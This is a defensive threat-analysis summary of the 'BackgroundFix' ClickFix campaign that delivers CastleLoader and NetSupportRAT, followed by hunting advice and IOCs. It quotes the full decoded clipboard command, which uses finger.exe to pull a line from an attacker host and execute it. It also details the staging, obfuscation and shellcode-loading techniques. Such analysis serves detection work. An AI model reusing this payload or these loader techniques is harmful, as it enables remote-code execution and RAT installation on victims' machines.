ClickFix Removes Your Background but Leaves the Malware

What it is

A detailed breakdown of the "BackgroundFix" ClickFix chain (Huntress, with Sarah Reddish) that ends in CastleLoader → NetSupportRAT. It goes beyond the summary by giving the actual clipboard payload, the exact evasion techniques, and named IOCs/detection surfaces an engineer can hunt on.

How it works

The fake background-remover copies a command to the clipboard via document.execCommand("copy") and fires a navigator.sendBeacon to log-checkbox.php so the operator gets telemetry on who reached the paste step. The decoded clipboard payload:

%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- '

start "" /min launches the next stage minimized (no visible window). finger.exe — shipped with Windows since NT — queries the attacker's finger daemon; skip=8 drops the protocol banner and call %h executes line nine (delivered via the daemon's ~/.plan file).

The batch stage uses randomized variable names and renames the Python binary to <%RANDOM%><%RANDOM%>.exe. It kills/restarts explorer.exe, then curl.exe downloads the legitimate python.org embeddable distribution saved with a .pdf extension, extracted with tar.exe (bring-your-own-interpreter). The Python wrapper unpacks in three layers (base64 → zlib → UTF-32), disables TLS validation, fetches hxxps://trindastal[.]com/.../loc8, and exec()s it. That payload undoes a Cyrillic-to-Latin substitution before base64 decode, yielding a ctypes shellcode loader: XOR-decrypts with a 16-byte repeating key, allocates an executable heap (HeapCreate 0x00040000 / HeapAlloc 0x00000008), and calls it via CFUNCTYPE.

The shellcode resolves APIs by djb2 hash (init 5381, ×33), reading the target hash from the upper 32 bits of the return address — each call site pushes a 64-bit literal with sentinel 0xFFFFFFFF low, hash high — and does a PEB InLoadOrderModuleList walk.

What to do

• Hunt for finger.exe spawned by cmd.exe — near-zero legitimate use on modern Windows; this is the chain's chokepoint.
• Flag curl.exe fetching from python.org and saving .pdf, followed by tar.exe extraction and a randomly-named .exe running Python.
• Pivot on the C2/lure domains: cheeshomireciple[.]com (finger), trindastal[.]com. Huntress used Validin to enumerate more same-template domains; check the post's IOC section for the full list.

Caveats

Uploaded images are never processed or exfiltrated — the site is purely a delivery lure. The explorer.exe restart has no clear technical purpose ("maybe the operator just likes the theater"). The fetched text cuts off mid-analysis of the PEB walk; later shellcode stages and full IOCs are on the page.